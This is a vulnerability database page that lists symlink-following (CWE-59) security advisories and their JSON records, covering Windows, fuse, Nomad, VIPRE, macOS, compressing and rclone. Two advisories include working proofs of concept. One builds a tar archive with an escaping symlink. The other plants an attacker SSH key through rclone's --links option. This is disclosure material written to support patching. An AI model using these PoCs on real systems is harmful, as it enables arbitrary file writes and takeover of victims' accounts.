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Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

2236 vulnerabilities reference this CWE, most recent first.

GHSA-C792-8WX7-J3V9

Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2025-05-20 18:30
VLAI
Details

An elevation of privilege vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks, aka 'Windows User Profile Service Elevation of Privilege Vulnerability'.

Severity
7.1 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2019-0986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-12T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks, aka \u0027Windows User Profile Service Elevation of Privilege Vulnerability\u0027.",
  "id": "GHSA-c792-8wx7-j3v9",
  "modified": "2025-05-20T18:30:36Z",
  "published": "2022-05-24T16:47:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0986"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0986"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0986"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C7FC-4FVH-989J

Vulnerability from github – Published: 2022-05-17 04:52 – Updated: 2022-05-17 04:52
VLAI
Details

fuse 2.8.5 and earlier does not properly handle when /etc/mtab cannot be updated, which allows local users to unmount arbitrary directories via a symlink attack.

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{
  "affected": [],
  "aliases": [
    "CVE-2011-0541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-09-02T23:55:00Z",
    "severity": "LOW"
  },
  "details": "fuse 2.8.5 and earlier does not properly handle when /etc/mtab cannot be updated, which allows local users to unmount arbitrary directories via a symlink attack.",
  "id": "GHSA-c7fc-4fvh-989j",
  "modified": "2022-05-17T04:52:58Z",
  "published": "2022-05-17T04:52:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0541"
    },
    {
      "type": "WEB",
      "url": "http://fuse.git.sourceforge.net/git/gitweb.cgi?p=fuse/fuse%3Ba=commit%3Bh=bf5ffb5fd8558bd799791834def431c0cee5a11f"
    },
    {
      "type": "WEB",
      "url": "http://fuse.git.sourceforge.net/git/gitweb.cgi?p=fuse/fuse;a=commit;h=bf5ffb5fd8558bd799791834def431c0cee5a11f"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-04/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/02/02/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/02/03/5"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/02/08/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C7HG-FXJP-Q9JP

Vulnerability from github – Published: 2026-07-03 21:31 – Updated: 2026-07-03 21:31
VLAI
Details

Improper link resolution before file access ('link following') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-57991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-03T21:17:02Z",
    "severity": "HIGH"
  },
  "details": "Improper link resolution before file access (\u0027link following\u0027) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.",
  "id": "GHSA-c7hg-fxjp-q9jp",
  "modified": "2026-07-03T21:31:39Z",
  "published": "2026-07-03T21:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57991"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C866-8GPW-P3MV

Vulnerability from github – Published: 2024-02-08 21:30 – Updated: 2024-09-26 21:10
VLAI
Summary
HashiCorp Nomad vulnerable to symlink attacks
Details

HashiCorp Nomad and Nomad Enterprise 1.5.13 up to 1.6.6, and 1.7.3 template renderer is vulnerable to arbitrary file write on the host as the Nomad client user through symlink attacks. Fixed in Nomad 1.7.4, 1.6.7, 1.5.14.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/nomad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.13"
            },
            {
              "fixed": "1.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.5.13"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/nomad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/nomad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.3"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-09T15:08:40Z",
    "nvd_published_at": "2024-02-08T20:15:52Z",
    "severity": "HIGH"
  },
  "details": "HashiCorp Nomad and Nomad Enterprise 1.5.13 up to 1.6.6, and 1.7.3 template renderer is vulnerable to arbitrary file write on the host as the Nomad client user through symlink attacks. Fixed in Nomad 1.7.4, 1.6.7, 1.5.14.",
  "id": "GHSA-c866-8gpw-p3mv",
  "modified": "2024-09-26T21:10:36Z",
  "published": "2024-02-08T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1329"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/nomad/issues/19888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/nomad/commit/b3209cbc6921e703b0e9984ce70c10b378665834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/nomad/commit/d1721c7a6fc1833778086603f818a822a34f445a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/nomad/commit/de55da677a21ac7572c0f4a8cd9abd5473c47a70"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2024-03-nomad-vulnerable-to-arbitrary-write-through-symlink-attack"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/nomad"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HashiCorp Nomad vulnerable to symlink attacks"
}

GHSA-C8GW-8XXV-VG93

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

VIPRE Antivirus Plus Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Antivirus Plus. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the Anti Malware Service. By creating a symbolic link, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18899.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-32175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:23Z",
    "severity": "HIGH"
  },
  "details": "VIPRE Antivirus Plus Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Antivirus Plus. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Anti Malware Service. By creating a symbolic link, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18899.",
  "id": "GHSA-c8gw-8xxv-vg93",
  "modified": "2024-05-03T03:30:51Z",
  "published": "2024-05-03T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32175"
    },
    {
      "type": "WEB",
      "url": "https://success.vipre.com/en_US/antivirus-plus-release-notes/home-plus-release-notes-20230530"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-755"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9G9-8P38-4P39

Vulnerability from github – Published: 2024-03-08 03:31 – Updated: 2026-04-02 21:31
VLAI
Details

This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sonoma 14.4. An app may be able to create symlinks to protected regions of the disk.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-23285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-08T02:15:49Z",
    "severity": "HIGH"
  },
  "details": "This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sonoma 14.4. An app may be able to create symlinks to protected regions of the disk.",
  "id": "GHSA-c9g9-8p38-4p39",
  "modified": "2026-04-02T21:31:38Z",
  "published": "2024-03-08T03:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23285"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120895"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214084"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC8F-XG8V-72M3

Vulnerability from github – Published: 2026-02-03 17:42 – Updated: 2026-02-04 21:55
VLAI
Summary
Compressing Vulnerable to Arbitrary File Write via Symlink Extraction
Details

Arbitrary File Write via Symlink Extraction in github.com/node-modules/compressing

Brief Introduction

The compressing npm package extracts TAR archives while restoring symbolic links without validating their targets. By embedding symlinks that resolve outside the intended extraction directory, an attacker can cause subsequent file entries to be written to arbitrary locations on the host file system.

Depending on the extractor’s handling of existing files, this behavior may allow overwriting sensitive files or creating new files in security-critical locations.

Affected Component and Versions

  • Component: github.com/node-modules/compressing
  • Affected Versions: <= 1.10.3 || =2.0.0

Vulnerability Details

Root Cause

compressing.tar.uncompress sanitizes the destination paths of archive entries, but it does not restrict or validate the targets of symlinks contained in TAR archives. During extraction, the library creates those symlinks inside the output directory. Later entries that resolve through the symlink are written to the symlink target rather than the intended extraction root, enabling an arbitrary file write.

Impact

An attacker who can supply a crafted TAR archive can:

  • Cause files to be written outside the intended extraction directory (arbitrary file write via symlink traversal).

  • Write files to attacker-controlled paths on the host file system once symbolic links are followed during extraction.

  • In environments where extraction is performed with elevated privileges or targets executable paths, this may lead to code execution, privilege escalation, data corruption, or denial of service.

Reproduction

Environment

  • OS: Ubuntu 24.04
  • Node.js: v24.12.0
  • compressing: 2.0.0

Construct PoC Archive

The following pseudo-code demonstrates the attack logic:

base_dir = "archive/"
with tarfile.open("./poc_arbitrary_write.tar", mode="w") as tar:
    add_regular_file(tar, base_dir + "baseFile.txt", "base content\n")
    add_symlink(tar, base_dir + "myTmp", "/tmp")
    add_regular_file(tar, base_dir + "myTmp/poc.txt", "Arbitrary File Write\n")

Extract the Archive

const compressing = require('compressing');

function untar(archiveName, destPath) {
  return compressing.tar.uncompress(archiveName, destPath);
}


async function main() {
  const archivePath = process.argv[2];
  const destPath = "./output";

  if (archivePath && archivePath.endsWith(".tar")) {
    await untar(archivePath, destPath);
  }
}

main();

Attack Results

image

After extraction, the output directory contains a symlink pointing to /tmp. The file poc.txt is then written through the symlink to /tmp/poc.txt, demonstrating an arbitrary file write outside the extraction directory.

Summary

compressing restores symlinks from TAR archives without validating their targets. By combining a malicious symlink with a subsequent file entry, an attacker can redirect extracted files to arbitrary locations on the host.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "compressing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "compressing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:42:18Z",
    "nvd_published_at": "2026-02-04T20:16:05Z",
    "severity": "HIGH"
  },
  "details": "# Arbitrary File Write via Symlink Extraction in `github.com/node-modules/compressing`\n\n## Brief Introduction\n\nThe `compressing` npm package extracts TAR archives while restoring symbolic links without validating their targets. \nBy embedding symlinks that resolve outside the intended extraction directory, an attacker can cause subsequent file entries to be written to arbitrary locations on the host file system.\n\nDepending on the extractor\u2019s handling of existing files, this behavior may allow overwriting sensitive files or creating new files in security-critical locations.\n\n## Affected Component and Versions\n\n- **Component**: `github.com/node-modules/compressing`\n- **Affected Versions**: `\u003c= 1.10.3 || =2.0.0` \n\n## Vulnerability Details\n\n### Root Cause\n\n`compressing.tar.uncompress` sanitizes the destination paths of archive entries, but it does **not** restrict or validate the targets of symlinks contained in TAR archives. During extraction, the library creates those symlinks inside the output directory. Later entries that resolve through the symlink are written to the symlink target rather than the intended extraction root, enabling an arbitrary file write.\n\n### Impact\n\nAn attacker who can supply a crafted TAR archive can:\n\n- Cause files to be written outside the intended extraction directory (arbitrary file write via symlink traversal).\n\n- Write files to attacker-controlled paths on the host file system once symbolic links are followed during extraction.\n\n- In environments where extraction is performed with elevated privileges or targets executable paths, this may lead to code execution, privilege escalation, data corruption, or denial of service.\n\n## Reproduction\n\n### Environment\n\n- **OS**: Ubuntu 24.04\n- **Node.js**: v24.12.0\n- **compressing**: 2.0.0\n\n### Construct PoC Archive\n\nThe following pseudo-code demonstrates the attack logic:\n\n```python\nbase_dir = \"archive/\"\nwith tarfile.open(\"./poc_arbitrary_write.tar\", mode=\"w\") as tar:\n    add_regular_file(tar, base_dir + \"baseFile.txt\", \"base content\\n\")\n    add_symlink(tar, base_dir + \"myTmp\", \"/tmp\")\n    add_regular_file(tar, base_dir + \"myTmp/poc.txt\", \"Arbitrary File Write\\n\")\n```\n\n### Extract the Archive\n\n```javascript\nconst compressing = require(\u0027compressing\u0027);\n\nfunction untar(archiveName, destPath) {\n  return compressing.tar.uncompress(archiveName, destPath);\n}\n\n\nasync function main() {\n  const archivePath = process.argv[2];\n  const destPath = \"./output\";\n\n  if (archivePath \u0026\u0026 archivePath.endsWith(\".tar\")) {\n    await untar(archivePath, destPath);\n  }\n}\n\nmain();\n```\n\n### Attack Results\n\n\u003cimg width=\"547\" height=\"161\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5ea12efd-0d3f-4f8a-8414-b3a5c72e153e\" /\u003e\n\n\nAfter extraction, the output directory contains a symlink pointing to `/tmp`. The file `poc.txt` is then written through the symlink to `/tmp/poc.txt`, demonstrating an arbitrary file write outside the extraction directory.\n\n## Summary\n\n`compressing` restores symlinks from TAR archives without validating their targets. By combining a malicious symlink with a subsequent file entry, an attacker can redirect extracted files to arbitrary locations on the host.",
  "id": "GHSA-cc8f-xg8v-72m3",
  "modified": "2026-02-04T21:55:36Z",
  "published": "2026-02-03T17:42:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/security/advisories/GHSA-cc8f-xg8v-72m3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/commit/8d16c196c7f1888fc1af957d9ff36117247cea6c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/commit/ce1c0131c401c071c77d5a1425bf8c88cfc16361"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-modules/compressing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Compressing Vulnerable to Arbitrary File Write via Symlink Extraction"
}

GHSA-CF2R-5CHQ-JMM8

Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:51
VLAI
Details

Yubico pam-u2f 1.0.7 attempts parsing of the configured authfile (default $HOME/.config/Yubico/u2f_keys) as root (unless openasuser was enabled), and does not properly verify that the path lacks symlinks pointing to other files on the system owned by root. If the debug option is enabled in the PAM configuration, part of the file contents of a symlink target will be logged, possibly revealing sensitive information.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2019-12209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-04T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Yubico pam-u2f 1.0.7 attempts parsing of the configured authfile (default $HOME/.config/Yubico/u2f_keys) as root (unless openasuser was enabled), and does not properly verify that the path lacks symlinks pointing to other files on the system owned by root. If the debug option is enabled in the PAM configuration, part of the file contents of a symlink target will be logged, possibly revealing sensitive information.",
  "id": "GHSA-cf2r-5chq-jmm8",
  "modified": "2024-04-04T00:51:18Z",
  "published": "2022-05-24T16:47:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Yubico/pam-u2f/commit/7db3386fcdb454e33a3ea30dcfb8e8960d4c3aa3"
    },
    {
      "type": "WEB",
      "url": "https://developers.yubico.com/pam-u2f/Release_Notes.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5FOR4ADC356JPCHAJI5UXZORLC3VNBPS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZCGU6UQLI3ZTW3UYCTMQW7VDL5M4LCWR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5FOR4ADC356JPCHAJI5UXZORLC3VNBPS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZCGU6UQLI3ZTW3UYCTMQW7VDL5M4LCWR"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/06/05/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CF35-R4VM-VV4F

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

Check Point ZoneAlarm Extreme Security Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Check Point ZoneAlarm Extreme Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the Forensic Recorder service. By creating a symbolic link, an attacker can abuse the service to overwrite arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-21677.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-6233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:11Z",
    "severity": "HIGH"
  },
  "details": "Check Point ZoneAlarm Extreme Security Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Check Point ZoneAlarm Extreme Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Forensic Recorder service. By creating a symbolic link, an attacker can abuse the service to overwrite arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-21677.",
  "id": "GHSA-cf35-r4vm-vv4f",
  "modified": "2024-11-22T21:32:16Z",
  "published": "2024-11-22T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6233"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CF44-9PGV-M4XC

Vulnerability from github – Published: 2026-08-05 20:15 – Updated: 2026-08-05 20:15
VLAI
Summary
rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote
Details

Summary

With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.

Details

backend/local/local.go, Object.Update():

} else {
    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
    if err == nil {
        if _, err := os.Lstat(o.path); err == nil {
            os.Remove(o.path)
        }
        // Use the contents for the copied object to create a symlink
        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)
    }
}

symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC

1) Get the official stable binary:

curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3

2) Create an attacker-controlled "remote" (two objects) and a victim layout:

mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh                                                 # empty (before)

3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):

cd evil && python3 -m http.server 38080 --bind 127.0.0.1

4) VICTIM ACTION — back up the untrusted remote preserving symlinks:

./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v

5) Observe — a file landed OUTSIDE ./dest:

ls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)
cat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest

pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Impact

An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation

In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.74.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:15:01Z",
    "nvd_published_at": "2026-07-14T22:17:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWith `-l/--links`, rclone serializes symlinks as `\u003cname\u003e.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(\u003cobject body\u003e, \u003cdest path\u003e)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim\u0027s filesystem. Because a sibling object named `\u003cname\u003e.rclonelink` sorts before `\u003cname\u003e/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2014 i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{\u0026symlinkData}          // body of \u003cname\u003e.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // \u003c-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` \u2192 `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip \u0027*/rclone\u0027 -d .      # ./rclone -\u003e v1.74.3\n```\n2) Create an attacker-controlled \"remote\" 